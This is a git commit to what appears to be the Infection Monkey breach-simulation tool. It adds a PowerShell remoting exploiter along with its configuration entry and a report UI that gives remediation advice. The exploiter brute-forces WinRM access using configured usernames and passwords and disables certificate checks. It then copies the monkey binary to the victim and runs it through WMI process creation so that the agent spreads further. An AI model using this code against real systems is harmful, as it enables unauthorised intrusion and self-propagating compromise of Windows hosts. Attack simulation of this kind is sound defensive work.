Added powershell remoting exploiter.

This commit is contained in:
VakarisZ 2021-06-09 11:54:20 +03:00 committed by Shreya Malviya
parent 55a817931d
commit 9966c54fe2
7 changed files with 197 additions and 3 deletions

View File

@ -6,7 +6,11 @@ class FailedExploitationError(Exception):
""" Raise when exploiter fails instead of returning False """
class InvalidRegistrationCredentialsError(Exception):
class CredentialsError(Exception):
""" Raise when credentials are wrong"""
class InvalidRegistrationCredentialsError(CredentialsError):
""" Raise when server config file changed and island needs to restart """

View File

@ -0,0 +1,152 @@
import logging
import os
import typing
import spnego
from pypsrp.client import Client
from pypsrp.powershell import PowerShell, RunspacePool
from urllib3 import connectionpool
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import (
build_monkey_commandline,
get_monkey_depth,
get_target_monkey_by_os,
)
from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost
LOG = logging.getLogger(__name__)
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowershellExploiter(HostExploiter):
# attack URLs
_TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "Powershell remote"
def __init__(self, host: VictimHost):
# If pysrp will inherit root logger, it will log extensive and potentially sensitive info
logging.getLogger("pypsrp").setLevel(logging.ERROR)
logging.getLogger(spnego.__name__).setLevel(logging.ERROR)
logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR)
super().__init__(host)
self.client = None
def _exploit_host(self):
try:
self.client = self.exploit_without_credentials()
except FailedExploitationError:
LOG.info("Failed exploitation without credentials.")
try:
self.client = self.exploit_with_usernames_only(
usernames=self._config.exploit_user_list
)
except FailedExploitationError:
LOG.info("Failed exploitation using username list.")
try:
self.client = self.exploit_with_credentials(
self._config.get_exploit_user_password_pairs()
)
except FailedExploitationError:
LOG.info("Failed exploitation using credentials from configuration. Quiting.")
return False
arch = self.get_host_arch()
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32))
# write virtual file to actual local file
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
try:
if arch == WIN_ARCH_32:
monkey_path_on_victim = self._config.dropper_target_path_win_32
else:
monkey_path_on_victim = self._config.dropper_target_path_win_64
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim)
except Exception:
return False
finally:
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
monkey_params = build_monkey_commandline(
target_host=self.host,
depth=get_monkey_depth() - 1,
vulnerable_port=None,
location=monkey_path_on_victim,
)
monkey_execution_command = RUN_MONKEY % {
"monkey_path": monkey_path_on_victim,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
"name", "create"
).add_parameter("ArgumentList", monkey_execution_command)
ps.invoke()
return True
def exploit_without_credentials(self) -> Client:
return self.try_exploit()
def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
for username in usernames:
try:
client = self.try_exploit(username)
return client
except FailedExploitationError:
pass
raise FailedExploitationError
def exploit_with_credentials(
self, credential_list: typing.List[typing.Tuple[str, str]]
) -> Client:
for username, password in credential_list:
try:
client = self.try_exploit(username, password)
return client
except FailedExploitationError:
pass
raise FailedExploitationError
def try_exploit(
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
) -> Client:
try:
with Client(
self.host.ip_addr,
username=username,
password=password,
cert_validation=False,
) as client:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
return client
except Exception:
raise FailedExploitationError
def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
output = self.execute_cmd_on_host(GET_ARCH_WINDOWS)
if "64-bit" in output:
return WIN_ARCH_64
else:
return WIN_ARCH_32
def execute_cmd_on_host(self, cmd: str) -> str:
output, _, _ = self.client.execute_cmd(cmd)
return output

View File

@ -26,6 +26,7 @@ BASIC = {
"VSFTPDExploiter",
"MSSQLExploiter",
"DrupalExploiter",
"PowershellExploiter",
],
}
},

View File

@ -154,5 +154,11 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey"
"/docs/reference/exploiters/zerologon/",
},
{
"type": "string",
"enum": ["PowershellExploiter"],
"title": "Powershell Exploiter",
"info": "Exploits powershell remote execution setups.",
},
],
}

View File

@ -52,6 +52,7 @@ import {
zerologonIssueReport,
zerologonOverviewWithFailedPassResetWarning
} from './security/issues/ZerologonIssue';
import {powershellIssueOverview, powershellIssueReport} from './security/issues/PowershellIssue';
class ReportPageComponent extends AuthComponent {
@ -142,6 +143,11 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: shellShockIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'PowershellExploiter': {
[this.issueContentTypes.OVERVIEW]: powershellIssueOverview,
[this.issueContentTypes.REPORT]: powershellIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'Ms08_067_Exploiter': {
[this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview,
[this.issueContentTypes.REPORT]: ms08_067IssueReport,
@ -297,8 +303,7 @@ class ReportPageComponent extends AuthComponent {
<p className='alert alert-info'>
<FontAwesomeIcon icon={faExclamationTriangle} style={{'marginRight': '5px'}}/>
To improve the monkey's detection rates, try adding users and passwords and enable the "Local
network
scan" config value under <b>Basic - Network</b>.
network scan" config value under <b>Basic - Network</b>.
</p>
}
<p>

View File

@ -0,0 +1,25 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function powershellIssueOverview() {
return (<li>Windows servers allow powershell remote command execution.</li>);
}
export function powershellIssueReport(issue) {
return (
<>
Restrict powershell remote command execution and/or
harden the credentials of relevant users.
<CollapsibleWellComponent>
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) was
exploited via <span
className="badge badge-danger">Powershell remoting</span>.
<br/>
The attack was made possible because the target machine had
Powershell remoting enabled and Monkey
had access to correct credentials.
</CollapsibleWellComponent>
</>
);
}

View File

@ -86,6 +86,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27)
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)